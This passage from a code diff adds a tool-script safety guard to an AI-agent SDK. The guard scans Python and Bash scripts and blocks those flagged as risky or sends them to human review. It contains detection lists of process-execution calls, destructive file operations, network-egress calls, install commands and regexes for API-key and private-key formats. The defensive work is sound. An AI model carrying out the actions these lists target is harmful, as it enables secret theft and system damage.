i += 1 + elif c in ".^$+?{}[]\\|()": + regex += "\\" + c + i += 1 + else: + regex += c + i += 1 + return regex diff --git a/trpc_agent_sdk/tools/safety/_python_scanner.py b/trpc_agent_sdk/tools/safety/_python_scanner.py new file mode 100644 index 00000000..3a442fdb --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_python_scanner.py @@ -0,0 +1,385 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Python script scanner for the Tool Script Safety Guard system. + +This module provides the PythonScanner class which performs static analysis +on Python scripts using the ``ast`` module. It detects dangerous patterns +by walking the AST and matching against configured risk rules. +""" + +from __future__ import annotations + +import ast +import re +from typing import Optional + +from trpc_agent_sdk.log import logger + +from ._policy import SafetyPolicy +from ._types import RiskCategory +from ._types import RiskLevel +from ._types import RuleMatch +from ._types import ScanInput + + +class _DangerVisitor(ast.NodeVisitor): + """AST visitor that collects dangerous patterns in Python code.""" + + def __init__(self, policy: SafetyPolicy) -> None: + super().__init__() + self._policy = policy + self.matches: list[RuleMatch] = [] + self._current_line = 0 + + # ── Call visitor ────────────────────────────────────────────────── + + def visit_Call(self, node: ast.Call) -> None: + """Visit a function call node.""" + func_name = self._get_call_name(node) + + # R004: Process execution + if func_name in ( + "os.system", + "os.popen", + "subprocess.run", + "subprocess.Popen", + "subprocess.call", + "subprocess.check_call", + "subprocess.check_output", + "pty.spawn", + "os.execl", + "os.execle", + "os.execlp", + "os.execv", + "os.execve", + "os.execvp", + "os.fork", + "os.spawnl", + "os.spawnle", + "os.spawnlp", + "os.spawnv", + "os.spawnve", + "os.spawnvp", + ): + if self._is_rule_enabled("process_execution"): + self._add_match("R004", RiskCategory.PROCESS_EXECUTION, func_name, node) + + # R001: Dangerous file operations via os / shutil + if func_name in ("os.remove", "os.unlink", "shutil.rmtree", "os.rmdir", "os.removedirs"): + if self._is_rule_enabled("dangerous_file_operations"): + self._add_match("R001", RiskCategory.DANGEROUS_FILE_OPERATION, func_name, node) + + # R001: os.system/subprocess with dangerous args + if func_name in ("os.system", "subprocess.run", "subprocess.Popen", "subprocess.call", "subprocess.check_call"): + dangerous_args = self._check_dangerous_args(node) + for arg in dangerous_args: + if self._is_rule_enabled("dangerous_file_operations"): + self._add_match("R001", RiskCategory.DANGEROUS_FILE_OPERATION, f"{func_name}({arg})", node) + + # R002: Sensitive file reads + if func_name in ("open", "pathlib.Path", "pathlib.Path.read_text", "pathlib.Path.read_bytes", "io.open", + "builtins.open"): + path_arg = self._get_string_arg(node, 0) + if path_arg and self._is_path_sensitive(path_arg): + if self._is_rule_enabled("sensitive_file_read"): + self._add_match("R002", RiskCategory.DANGEROUS_FILE_OPERATION, f"Read sensitive file: {path_arg}", + node) + + # R003: Network egress + if func_name in ( + "requests.get", + "requests.post", + "requests.put", + "requests.delete", + "requests.patch", + "requests.request", + "urllib.request.urlopen", + "urllib.request.Request", + "urllib.urlopen", + "aiohttp.ClientSession.get", + "aiohttp.ClientSession.post", + "aiohttp.ClientSession.request", + "httpx.get", + "httpx.post", + "httpx.put", + "httpx.delete", + "httpx.request", + "aiohttp.ClientSession", + ): + url_arg = self._get_string_arg(node, 0) + if url_arg and not self._is_domain_allowed_in_url(url_arg): + if self._is_rule_enabled("network_egress"): + self._add_match("R003", RiskCategory.NETWORK_EGRESS, f"Network request to: {url_arg}", node) + + if func_name in ("socket.connect", "socket.create_connection", "socket.socket.connect"): + if self._is_rule_enabled("network_egress"): + self._add_match("R003", RiskCategory.NETWORK_EGRESS, "socket connection", node) + + # R005: Dependency installation + if func_name in ("subprocess.run", "subprocess.Popen", "subprocess.call", "subprocess.check_call", "os.system", + "os.popen"): + cmd = self._get_command_arg(node) + if cmd and self._is_install_command(cmd): + if self._is_rule_enabled("dependency_installation"): + self._add_match("R005", RiskCategory.DEPENDENCY_INSTALLATION, f"Install command: {cmd}", node) + + # R006: Resource abuse + if func_name in ("os.fork", ): + if self._is_rule_enabled("resource_abuse"): + self._add_match("R006", RiskCategory.RESOURCE_ABUSE, func_name, node) + + if func_name in ("time.sleep", "asyncio.sleep"): + sleep_time = self._get_numeric_arg(node, 0) + if sleep_time is not None and sleep_time >= 3600: + if self._is_rule_enabled("resource_abuse"): + self._add_match("R006", RiskCategory.RESOURCE_ABUSE, f"Long sleep: {sleep_time}s", node) + + self.generic_visit(node) + + # ── Other visitors ──────────────────────────────────────────────── + + def visit_While(self, node: ast.While) -> None: + """Visit a while loop - check for infinite loops.""" + if isinstance(node.test, ast.Constant) and node.test.value is True: + if self._is_rule_enabled("resource_abuse"): + self._add_match("R006", RiskCategory.RESOURCE_ABUSE, "while True: (potential infinite loop)", node) + self.generic_visit(node) + + def visit_For(self, node: ast.For) -> None: + """Visit a for loop - check for large ranges.""" + if isinstance(node.iter, ast.Call): + call = node.iter + if isinstance(call.func, ast.Name) and call.func.id == "range": + if len(call.args) >= 1: + arg = call.args[0] + if isinstance(arg, ast.Constant) and isinstance(arg.value, int) and arg.value > 1000000: + if self._is_rule_enabled("resource_abuse"): + self._add_match("R006", RiskCategory.RESOURCE_ABUSE, f"Large range({arg.value})", node) + self.generic_visit(node) + + def visit_Assign(self, node: ast.Assign) -> None: + """Visit an assignment - check for sensitive info leak.""" + if isinstance(node.value, ast.Constant) and isinstance(node.value.value, str): + val = node.value.value + if self._is_sensitive_value(val) and self._is_rule_enabled("sensitive_info_leak"): + targets = [self._get_target_name(t) for t in node.targets if t] + target_str = ", ".join(t for t in targets if t) + if target_str: + self._add_match("R007", + RiskCategory.SENSITIVE_INFO_LEAK, + f"Sensitive value assigned to: {target_str}", + node, + masked=True) + self.generic_visit(node) + + # ── Helpers ────────────────────────────────────────────────────── + + def _get_call_name(self, node: ast.Call) -> str: + if isinstance(node.func, ast.Attribute): + obj_name = self._get_call_name_attr(node.func.value) + return f"{obj_name}.{node.func.attr}" if obj_name else node.func.attr + if isinstance(node.func, ast.Name): + return node.func.id + return "" + + @staticmethod + def _get_call_name_attr(node: ast.AST) -> str: + if isinstance(node, ast.Name): + return node.id + if isinstance(node, ast.Attribute): + inner = _DangerVisitor._get_call_name_attr(node.value) + return f"{inner}.{node.attr}" if inner else node.attr + return "" + + @staticmethod + def _get_target_name(node: ast.AST) -> Optional[str]: + if isinstance(node, ast.Name): + return node.id + if isinstance(node, ast.Attribute): + inner = _DangerVisitor._get_target_name(node.value) + return f"{inner}.{node.attr}" if inner else node.attr + if isinstance(node, ast.Subscript): + return _DangerVisitor._get_target_name(node.value) + return None + + @staticmethod + def _get_string_arg(node: ast.Call, index: int) -> Optional[str]: + if index < len(node.args): + arg = node.args[index] + if isinstance(arg, ast.Constant) and isinstance(arg.value, str): + return arg.value + return None + + @staticmethod + def _get_numeric_arg(node: ast.Call, index: int) -> Optional[float]: + if index < len(node.args): + arg = node.args[index] + if isinstance(arg, ast.Constant) and isinstance(arg.value, (int, float)): + return float(arg.value) + return None + + def _get_command_arg(self, node: ast.Call) -> Optional[str]: + cmd = self._get_string_arg(node, 0) + if cmd: + return cmd + if len(node.args) > 0: + first_arg = node.args[0] + if isinstance(first_arg, ast.List) and first_arg.elts: + # Reconstruct the full command from list elements + parts = [] + for elt in first_arg.elts: + if isinstance(elt, ast.Constant) and isinstance(elt.value, str): + parts.append(elt.value) + if parts: + return " ".join(parts) + for kw in node.keywords: + if kw.arg in ("args", "cmd", "command"): + if isinstance(kw.value, ast.Constant) and isinstance(kw.value.value, str): + return kw.value.value + return None + + def _is_path_sensitive(self, path: str) -> bool: + path_expanded = path.replace("~", "") + return self._policy.is_path_forbidden(path_expanded) or self._policy.is_path_forbidden(path) + + def _is_domain_allowed_in_url(self, url: str) -> bool: + match = re.search( + r"(?:https?://|ftp://)?([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?" + r"(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+)", + url, + ) + if match: + return self._policy.is_domain_allowed(match.group(1)) + return True + + @staticmethod + def _is_install_command(cmd: str) -> bool: + install_patterns = [ + r"pip\s+install", + r"pip3\s+install", + r"npm\s+install", + r"npm\s+ci", + r"apt\s+install", + r"apt-get\s+install", + r"brew\s+install", + r"gem\s+install", + r"cargo\s+install", + ] + return any(re.search(p, cmd, re.IGNORECASE) for p in install_patterns) + + def _check_dangerous_args(self, node: ast.Call) -> list[str]: + cmd = self._get_command_arg(node) + if not cmd: + return [] + dangerous = [] + cfg = self._policy.rules.get("dangerous_file_operations") + if cfg: + for pattern in cfg.patterns: + if re.search(pattern, cmd, re.IGNORECASE): + dangerous.append(cmd) + break + return dangerous + + @staticmethod + def _is_sensitive_value(value: str) -> bool: + sensitive_patterns = [ + r"sk-[A-Za-z0-9]{20,}", + r"sk-ant-[A-Za-z0-9]{20,}", + r"ghp_[A-Za-z0-9]{36,}", + r"gho_[A-Za-z0-9]{36,}", + r"xox[baprs]-[A-Za-z0-9-]{10,}", + r"AKIA[A-Z0-9]{16}", + r"-----BEGIN\s+(RSA|EC|DSA|OPENSSH)\s+PRIVATE\s+KEY-----", + ] + return any(re.match(p, value) for p in sensitive_patterns) + + def _is_rule_enabled(self, rule_name: str) -> bool: + rule = self._policy.rules.get(rule_name) + return rule.enabled if rule else False + + def _add_match(self, + rule_id: str, + category: RiskCategory, + evidence: str, + node: ast.AST, + masked: bool = False) -> None: + line_no = getattr(node, "lineno", 0) + for existing in self.matches: + if existing.rule_id == rule_id and existing.line_number == line_no: + return + self.matches.append( + RuleMatch( + rule_id=rule_id, + risk_category=category, + risk_level=self._get_rule_risk_level(rule_id), + evidence=evidence[:200], + line_number=line_no, + recommendation=self._get_recommendation(rule_id), + masked=masked, + )) + + def _get_rule_risk_level(self, rule_id: str) -> RiskLevel: + rule_name_map = { + "R001": "dangerous_file_operations", + "R002": "sensitive_file_read", + "R003": "network_egress", + "R004": "process_execution", + "R005": "dependency_installation", + "R006": "resource_abuse", + "R007": "sensitive_info_leak", + } + rule_name = rule_name_map.get(rule_id, "") + rule = self._policy.rules.get(rule_name) + return rule.risk_level if rule else RiskLevel.HIGH + + @staticmethod + def _get_recommendation(rule_id: str) -> str: + recs = { + "R001": "Remove or replace this destructive file operation.", + "R002": "Do not read sensitive files. Use environment variables instead.", + "R003": "Remove or whitelist this network request.", + "R004": "Avoid executing system commands directly.", + "R005": "Pre-install all dependencies; do not install during execution.", + "R006": "Avoid infinite loops, long sleeps, or resource-exhaustive patterns.", + "R007": "Do not hardcode secrets. Use environment variables or a secrets manager.", + } + return recs.get(rule_id, "Review this code for potential security risks.") + + +class PythonScanner: + """Scanner for Python scripts using AST-based static analysis. + + Parses the script into an AST and walks the tree to detect + dangerous patterns defined in the safety policy. + """ + + def __init__(self, policy: SafetyPolicy) -> None: + self._policy = policy + + def scan(self, scan_input: ScanInput) -> list[RuleMatch]: + """Scan a Python script for security risks using AST analysis. + + Args: + scan_input: The script content and context to scan. + + Returns: + A list of RuleMatch objects for each detected risk. + """ + try: + tree = ast.parse(scan_input.script_content) + except SyntaxError as e: + logger.warning("PythonScanner: Syntax error in script: %s", e) + return self._text_scan(scan_input) + + visitor = _DangerVisitor(self._policy) + visitor.visit(tree) + return visitor.matches + + def _text_scan(self, scan_input: ScanInput) -> list[RuleMatch]: + """Fallback text-based scan for scripts that fail AST parsing.""" + from ._bash_scanner import BashScanner + bash_scanner = BashScanner(self._policy) + return bash_scanner.scan(scan_input) diff --git a/trpc_agent_sdk/tools/safety/_safety_filter.py b/trpc_agent_sdk/tools/safety/_safety_filter.py new file mode 100644 index 00000000..9132a4f1 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_safety_filter.py @@ -0,0 +1,257 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""SafetyFilter — Tool execution safety filter for the TRPC Agent framework. + +This module provides the SafetyFilter class which integrates with the +existing Filter system to perform script safety scanning before tool +execution. It is registered as a ``FilterType.TOOL`` filter. + +Usage:: + + from trpc_agent_sdk.tools.safety import SafetyFilter + + # The filter is auto-registered with the name "safety_filter". + # To enable it on a tool: + + tool = BashTool(filters_name=["safety_filter"]) +""" + +from __future__ import annotations + +import os +from typing import Any +from typing import Optional + +from trpc_agent_sdk.context import AgentContext +from trpc_agent_sdk.filter import BaseFilter +from trpc_agent_sdk.filter import FilterResult +from trpc_agent_sdk.filter import register_tool_filter +from trpc_agent_sdk.log import logger + +from ._audit import AuditLogger +from ._policy import SafetyPolicy +from ._scanner import SafetyScanner +from ._types import SafetyReport +from ._types import ScanInput +from ._types import ScriptType + +_DEFAULT_POLICY_PATH = os.path.join( + os.path.dirname(os.path.abspath(__file__)), + "tool_safety_policy.yaml", +) + + +@register_tool_filter("safety_filter") +class SafetyFilter(BaseFilter): + """Filter that scans tool scripts for security risks before execution. + + This filter intercepts tool execution, scans the script content + in the tool arguments using the SafetyScanner, and blocks execution + if dangerous patterns are detected. + + The filter is auto-registered with the name ``safety_filter``. + Enable it on a tool by passing ``filters_name=["safety_filter"]``:: + + tool = BashTool(filters_name=["safety_filter"]) + """ + + def __init__( + self, + policy_path: Optional[str] = None, + policy: Optional[SafetyPolicy] = None, + ) -> None: + """Initialize the SafetyFilter. + + Args: + policy_path: Path to the ``tool_safety_policy.yaml`` file. + If not provided, defaults to ``tool_safety_policy.yaml`` + in the project root. + policy: An already-loaded SafetyPolicy instance. If provided, + ``policy_path`` is ignored. + """ + super().__init__() + if policy is not None: + self._policy = policy + else: + path = policy_path or _DEFAULT_POLICY_PATH + if os.path.exists(path): + self._policy = SafetyPolicy.from_file(path) + logger.info("SafetyFilter: Loaded policy from %s", path) + else: + raise FileNotFoundError(f"SafetyFilter: Policy file not found at {path}. " + f"Create tool_safety_policy.yaml or pass a valid policy_path.") + self._scanner = SafetyScanner(self._policy) + self._audit_logger = AuditLogger() + + async def _before( + self, + ctx: AgentContext, + req: Any, + rsp: FilterResult, + ) -> None: + """Execute safety scan before tool execution. + + Extracts script content from the tool arguments, runs the + safety scanner, and blocks execution if the script is dangerous. + + Args: + ctx: The agent context. + req: The tool arguments (dict). + rsp: The filter result — set ``is_continue=False`` to block. + """ + if not isinstance(req, dict): + return + + # Extract script content from tool arguments + script_content = self._extract_script_content(req) + if not script_content: + return + + # Determine script type + script_type = self._detect_script_type(req, script_content) + + # Get tool name from context + tool_name = self._get_tool_name(req) + + # Build scan input + scan_input = ScanInput( + script_content=script_content, + script_type=script_type, + command_line_args=req.get("args") or req.get("cmd_args"), + working_directory=req.get("cwd") or req.get("working_directory"), + env_vars=req.get("env") or req.get("env_vars"), + tool_name=tool_name, + tool_metadata={"tool_type": self._get_tool_type()}, + ) + + # Run the scan + report = self._scanner.scan(scan_input) + + # Log audit event + self._audit_logger.log_report(report) + + # Block if denied + if report.is_blocked: + rsp.is_continue = False + rsp.error = SafetyBlockedError( + tool_name=tool_name, + report=report, + ) + logger.warning( + "SafetyFilter: Blocked execution of tool '%s' — " + "decision=%s risk=%s rules=%s", + tool_name, + report.decision.name, + report.risk_level.name, + ",".join(m.rule_id for m in report.matches), + ) + elif report.needs_review: + # NEEDS_HUMAN_REVIEW: 默认拦截，确保安全 + rsp.is_continue = False + rsp.error = SafetyBlockedError( + tool_name=tool_name, + report=report, + ) + logger.warning( + "SafetyFilter: Blocked execution of tool '%s' — " + "decision=%s risk=%s rules=%s", + tool_name, + report.decision.name, + report.risk_level.name, + ",".join(m.rule_id for m in report.matches), + ) + + # ── Helpers ────────────────────────────────────────────────────── + + @staticmethod + def _extract_script_content(args: dict) -> Optional[str]: + """Extract script content from tool arguments. + + Checks common argument names used by script-executing tools. + + Args: + args: The tool arguments dictionary. + + Returns: + The script content string, or None if not found. + """ + for key in ("command", "content", "script", "code", "cmd", "body"): + value = args.get(key) + if isinstance(value, str) and value.strip(): + return value + return None + + @staticmethod + def _detect_script_type(args: dict, content: str) -> ScriptType: + """Detect the script type from tool arguments. + + Args: + args: The tool arguments dictionary. + content: The script content. + + Returns: + The detected ScriptType. + """ + # If the tool has a "language" or "type" field, use it + lang = args.get("language") or args.get("type") or "" + if "python" in lang.lower(): + return ScriptType.PYTHON + if "bash" in lang.lower() or "sh" in lang.lower() or "shell" in lang.lower(): + return ScriptType.BASH + + # Heuristic detection via SafetyScanner + from ._scanner import SafetyScanner # noqa: E811 + return SafetyScanner._detect_script_type(content) + + @staticmethod + def _get_tool_name(args: dict) -> str: + """Get the tool name from arguments.""" + name = args.get("name") or args.get("tool_name") or "" + if name: + return name + # Try to get from context tool var + try: + from trpc_agent_sdk.tools._context_var import get_tool_var # noqa: E811 + tool = get_tool_var() + if tool: + return tool.name + except Exception: # pylint: disable=broad-except + pass + return "unknown" + + @staticmethod + def _get_tool_type() -> str: + """Get the tool type from context.""" + try: + from trpc_agent_sdk.tools._context_var import get_tool_var # noqa: E811 + tool = get_tool_var() + if tool: + return type(tool).__name__ + except Exception: # pylint: disable=broad-except + pass + return "unknown" + + +class SafetyBlockedError(Exception): + """Exception raised when a tool execution is blocked by the safety filter. + + Attributes: + tool_name: Name of the blocked tool. + report: The SafetyReport with scan results. + """ + + def __init__( + self, + tool_name: str, + report: SafetyReport, + ) -> None: + self.tool_name = tool_name + self.report = report + rule_ids = ",".join(m.rule_id for m in report.matches) + super().__init__(f"Tool '{tool_name}' execution blocked by safety filter: " + f"decision={report.decision.name}, " + f"risk={report.risk_level.name}, " + f"rules=[{rule_ids}]") diff --git a/trpc_agent_sdk/tools/safety/_scanner.py b/trpc_agent_sdk/tools/safety/_scanner.py new file mode 100644 index 00000000..621695c9 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_scanner.py @@ -0,0 +1,250 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Scanning orchestration engine for the Tool Script Safety Guard. + +This module provides the SafetyScanner class which acts as the unified +entry point for script scanning. It detects the script type, dispatches +to the appropriate language-specific scanner, aggregates results, and +produces a structured SafetyReport. +""" + +from __future__ import annotations + +import datetime +import time + +from trpc_agent_sdk.log import logger + +from ._bash_scanner import BashScanner +from ._policy import SafetyPolicy +from ._python_scanner import PythonScanner +from ._types import RiskLevel +from ._types import RuleMatch +from ._types import SafetyDecision +from ._types import SafetyReport +from ._types import ScanInput +from ._types import ScriptType + + +class SafetyScanner: + """Unified scanning engine that dispatches to language-specific scanners. + + The SafetyScanner detects the script type from the ScanInput, dispatches + to the appropriate scanner (BashScanner or PythonScanner), aggregates + all rule matches, and produces a structured SafetyReport. + + Usage:: + + scanner = SafetyScanner(policy) + report = scanner.scan(scan_input) + if report.is_blocked: + # Script was blocked + elif report.needs_review: + # Needs human review + else: + # Script is safe to execute + """ + + def __init__(self, policy: SafetyPolicy) -> None: + """Initialize the scanner with a safety policy. + + Args: + policy: The loaded SafetyPolicy instance. + """ + self._policy = policy + self._bash_scanner = BashScanner(policy) + self._python_scanner = PythonScanner(policy) + + def scan(self, scan_input: ScanInput) -> SafetyReport: + """Scan a script for security risks. + + This is the main entry point. It detects the script type, + dispatches to the appropriate scanner, and builds a structured + SafetyReport with the overall decision. + + Args: + scan_input: The script content and context to scan. + + Returns: + A SafetyReport with the scanning results. + """ + start_time = time.monotonic() + + # Detect script type if not explicitly set + script_type = scan_input.script_type + if script_type == ScriptType.UNKNOWN: + script_type = self._detect_script_type(scan_input.script_content) + + # Dispatch to appropriate scanner + matches: list[RuleMatch] = [] + if script_type == ScriptType.PYTHON: + logger.debug("SafetyScanner: Scanning Python script (tool=%s)", scan_input.tool_name) + matches = self._python_scanner.scan(scan_input) + elif script_type == ScriptType.BASH: + logger.debug("SafetyScanner: Scanning Bash script (tool=%s)", scan_input.tool_name) + matches = self._bash_scanner.scan(scan_input) + else: + # Unknown type: try both scanners + logger.debug("SafetyScanner: Unknown script type, trying both scanners (tool=%s)", scan_input.tool_name) + matches = self._python_scanner.scan(scan_input) + if not matches: + matches = self._bash_scanner.scan(scan_input) + + scan_duration_ms = (time.monotonic() - start_time) * 1000 + + # Build report + report = self._build_report(matches, scan_input, script_type, scan_duration_ms) + return report + + # ── Report Building ────────────────────────────────────────────── + + def _build_report( + self, + matches: list[RuleMatch], + scan_input: ScanInput, + script_type: ScriptType, + scan_duration_ms: float, + ) -> SafetyReport: + """Build a SafetyReport from the scan results. + + Args: + matches: List of rule matches from the scanner. + scan_input: The original scan input. + script_type: The detected or specified script type. + scan_duration_ms: Scan duration in milliseconds. + + Returns: + A populated SafetyReport. + """ + # Determine overall risk level + risk_level = self._determine_risk_level(matches) + + # Determine overall decision + decision = self._determine_decision(matches, risk_level) + + # Build script summary + summary = self._build_summary(scan_input.script_content) + + report = SafetyReport( + decision=decision, + risk_level=risk_level, + matches=matches, + tool_name=scan_input.tool_name, + script_type=script_type, + script_summary=summary, + scan_duration_ms=scan_duration_ms, + timestamp=datetime.datetime.now(datetime.timezone.utc).isoformat(), + policy_version=self._policy.policy_version, + ) + return report + + @staticmethod + def _determine_risk_level(matches: list[RuleMatch]) -> RiskLevel: + """Determine the highest risk level among all matches. + + Args: + matches: List of rule matches. + + Returns: + The highest RiskLevel found, or LOW if no matches. + """ + if not matches: + return RiskLevel.LOW + return max(m.risk_level for m in matches) + + def _determine_decision( + self, + matches: list[RuleMatch], + risk_level: RiskLevel, + ) -> SafetyDecision: + """Determine the overall safety decision. + + Rules: + - CRITICAL matches → DENY + - HIGH matches → DENY + - MEDIUM matches → NEEDS_HUMAN_REVIEW + - No matches or LOW only → ALLOW + - If no matches at all, use the policy's default_decision. + + Args: + matches: List of rule matches. + risk_level: The determined highest risk level. + + Returns: + The overall SafetyDecision. + """ + if not matches: + return self._policy.default_decision + + if risk_level >= RiskLevel.HIGH: + return SafetyDecision.DENY + elif risk_level == RiskLevel.MEDIUM: + return SafetyDecision.NEEDS_HUMAN_REVIEW + else: + return SafetyDecision.ALLOW + + @staticmethod + def _build_summary(script_content: str) -> str: + """Build a truncated and sanitized summary of the script content. + + Args: + script_content: The full script content. + + Returns: + A truncated preview (first 200 chars), with newlines escaped. + """ + # Remove consecutive whitespace for a compact preview + preview = " ".join(script_content.split()) + if len(preview) > 200: + preview = preview[:200] + "..." + return preview + + @staticmethod + def _detect_script_type(content: str) -> ScriptType: + """Detect the script type from content heuristics. + + Args: + content: The script content to analyze. + + Returns: + The detected ScriptType, or UNKNOWN if uncertain. + """ + first_line = content.strip().split("\n")[0] if content.strip() else "" + + # Shebang detection + if first_line.startswith("#!/bin/bash") or first_line.startswith("#!/bin/sh") or \ + first_line.startswith("#!/usr/bin/bash") or first_line.startswith("#!/usr/bin/env bash"): + return ScriptType.BASH + if first_line.startswith("#!/usr/bin/env python") or first_line.startswith("#!/usr/bin/python") or \ + first_line.startswith("#!/usr/bin/env python3") or first_line.startswith("#!/usr/bin/python3"): + return ScriptType.PYTHON + + # Python-specific patterns + python_patterns = ["import ", "from ", "class ", "def ", "if __name__", "print("] + bash_patterns = [ + "#!/", + "echo ", + "export ", + "source ", + "function ", + "alias ", + "if [", + "while ", + "for ", + "do ", + "done", + "fi", + "elif", + ] + + py_score = sum(1 for p in python_patterns if p in content) + bash_score = sum(1 for p in bash_patterns if p in content) + + if py_score > bash_score: + return ScriptType.PYTHON + elif bash_score > py_score: + return ScriptType.BASH + return ScriptType.UNKNOWN diff --git a/trpc_agent_sdk/tools/safety/_types.py b/trpc_agent_sdk/tools/safety/_types.py new file mode 100644 index 00000000..f9b4fc0b --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_types.py @@ -0,0 +1,290 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Type definitions for the Tool Script Safety Guard system. + +This module defines the core data structures used throughout the safety +scanning pipeline, including: + +1. Enumerations: + - ScriptType: Type of script being scanned (bash / python) + - RiskCategory: Categories of security risks + - SafetyDecision: Scanning decision (allow / deny / needs_human_review) + - RiskLevel: Severity levels for matched risks + +2. Data Classes: + - ScanInput: Input structure for the scanner + - RuleMatch: A single rule match with evidence and recommendation + - SafetyReport: Structured report for a complete scan operation + - AuditEvent: Structured audit log entry for monitoring systems +""" + +from __future__ import annotations + +from dataclasses import dataclass +from dataclasses import field +from enum import IntEnum +from enum import unique +from typing import Optional + +# ── Enumerations ────────────────────────────────────────────────────────── + + +@unique +class ScriptType(IntEnum): + """Type of script content being scanned.""" + + UNKNOWN = 0 + """Unknown or unsupported script type.""" + + BASH = 1 + """Bash / shell script content.""" + + PYTHON = 2 + """Python script content.""" + + +@unique +class RiskCategory(IntEnum): + """Categories of security risks detected by the scanner.""" + + UNKNOWN = 0 + """Uncategorised risk.""" + + DANGEROUS_FILE_OPERATION = 1 + """Recursive delete, overwrite system directory, access ~/.ssh, read .env.""" + + NETWORK_EGRESS = 2 + """Curl, wget, requests, aiohttp, socket to non-whitelisted domains.""" + + PROCESS_EXECUTION = 3 + """subprocess, os.system, shell pipes, background processes, privilege escalation.""" + + DEPENDENCY_INSTALLATION = 4 + """pip install, npm install, apt install — alters the runtime environment.""" + + RESOURCE_ABUSE = 5 + """Infinite loop, fork bomb, large file writes, long sleep, excessive concurrency.""" + + SENSITIVE_INFO_LEAK = 6 + """Writing API keys, tokens, passwords, or private keys to logs, files, or network requests.""" + + +@unique +class SafetyDecision(IntEnum): + """Decision outcome after scanning a script.""" + + ALLOW = 0 + """Script is safe to execute.""" + + DENY = 1 + """Script is blocked — contains prohibited patterns.""" + + NEEDS_HUMAN_REVIEW = 2 + """Suspicious patterns found — requires human approval before execution.""" + + +@unique +class RiskLevel(IntEnum): + """Severity level of a matched risk rule.""" + + LOW = 10 + """Low severity — informational, no immediate danger.""" + + MEDIUM = 20 + """Medium severity — suspicious but potentially legitimate.""" + + HIGH = 30 + """High severity — clearly dangerous, should be blocked.""" + + CRITICAL = 40 + """Critical severity — destructive or irreversible damage possible.""" + + +# ── Data Classes ────────────────────────────────────────────────────────── + + +@dataclass +class ScanInput: + """Input structure for the script safety scanner. + + Attributes: + script_content: The raw script content to be scanned. + script_type: Type of script (bash / python). + command_line_args: Optional command-line arguments. + working_directory: Optional working directory for execution. + env_vars: Optional environment variables dictionary. + tool_name: Name of the tool that triggered the scan. + tool_metadata: Optional tool metadata (e.g. tool type, version). + """ + + script_content: str + script_type: ScriptType + command_line_args: Optional[list[str]] = None + working_directory: Optional[str] = None + env_vars: Optional[dict[str, str]] = None + tool_name: str = "" + tool_metadata: Optional[dict[str, str]] = None + + +@dataclass +class RuleMatch: + """A single rule match produced by a scanner. + + Attributes: + rule_id: Unique identifier of the matched rule (e.g. "R001"). + risk_category: Category of the risk. + risk_level: Severity level of this match. + evidence: Snippet of the script content that triggered the rule. + line_number: 1-based line number where the evidence was found. + recommendation: Suggested action for the user or operator. + masked: Whether sensitive data in evidence has been redacted. + """ + + rule_id: str + risk_category: RiskCategory + risk_level: RiskLevel + evidence: str + line_number: int + recommendation: str + masked: bool = False + + +@dataclass +class SafetyReport: + """Structured report for a complete scan operation. + + Attributes: + decision: Overall decision after scanning. + risk_level: Highest risk level among all matched rules. + matches: List of individual rule matches (empty if none). + tool_name: Name of the tool that triggered the scan. + script_type: Type of script content scanned. + script_summary: Truncated preview of the script (first 200 chars). + scan_duration_ms: Time taken to complete the scan in milliseconds. + timestamp: ISO-8601 timestamp of when the scan was performed. + policy_version: Version identifier of the policy file used. + """ + + decision: SafetyDecision + risk_level: RiskLevel + matches: list[RuleMatch] = field(default_factory=list) + tool_name: str = "" + script_type: ScriptType = ScriptType.UNKNOWN + script_summary: str = "" + scan_duration_ms: float = 0.0 + timestamp: str = "" + policy_version: str = "" + + @property + def is_blocked(self) -> bool: + """Whether the script was blocked from execution.""" + return self.decision == SafetyDecision.DENY + + @property + def needs_review(self) -> bool: + """Whether the script requires human review.""" + return self.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + @property + def is_allowed(self) -> bool: + """Whether the script was allowed to execute.""" + return self.decision == SafetyDecision.ALLOW + + @property + def match_count(self) -> int: + """Number of rules matched during scanning.""" + return len(self.matches) + + def to_dict(self) -> dict: + """Convert the report to a JSON-serializable dictionary.""" + return { + "decision": + self.decision.name, + "risk_level": + self.risk_level.name, + "matches": [{ + "rule_id": m.rule_id, + "risk_category": m.risk_category.name, + "risk_level": m.risk_level.name, + "evidence": m.evidence, + "line_number": m.line_number, + "recommendation": m.recommendation, + "masked": m.masked, + } for m in self.matches], + "tool_name": + self.tool_name, + "script_type": + self.script_type.name, + "script_summary": + self.script_summary, + "scan_duration_ms": + self.scan_duration_ms, + "timestamp": + self.timestamp, + "policy_version": + self.policy_version, + } + + +@dataclass +class AuditEvent: + """A structured audit log entry for monitoring systems. + + Each entry records one safety scan event and is designed to be + consumable by log aggregators (e.g. ELK, Loki) and compatible + with OpenTelemetry span attributes. + + Attributes: + tool_name: Name of the tool being scanned. + decision: The safety decision made. + risk_level: Highest risk level detected. + rule_id: Comma-separated list of matched rule IDs. + scan_duration_ms: Time taken to scan in milliseconds. + masked: Whether sensitive data was redacted. + blocked: Whether execution was intercepted. + timestamp: ISO-8601 timestamp of the event. + script_type: Type of script scanned. + """ + + tool_name: str + decision: str + risk_level: str + rule_id: str + scan_duration_ms: float + masked: bool + blocked: bool + timestamp: str + script_type: str = "" + + def to_dict(self) -> dict: + """Convert the audit event to a JSON-serializable dictionary.""" + return { + "tool_name": self.tool_name, + "decision": self.decision, + "risk_level": self.risk_level, + "rule_id": 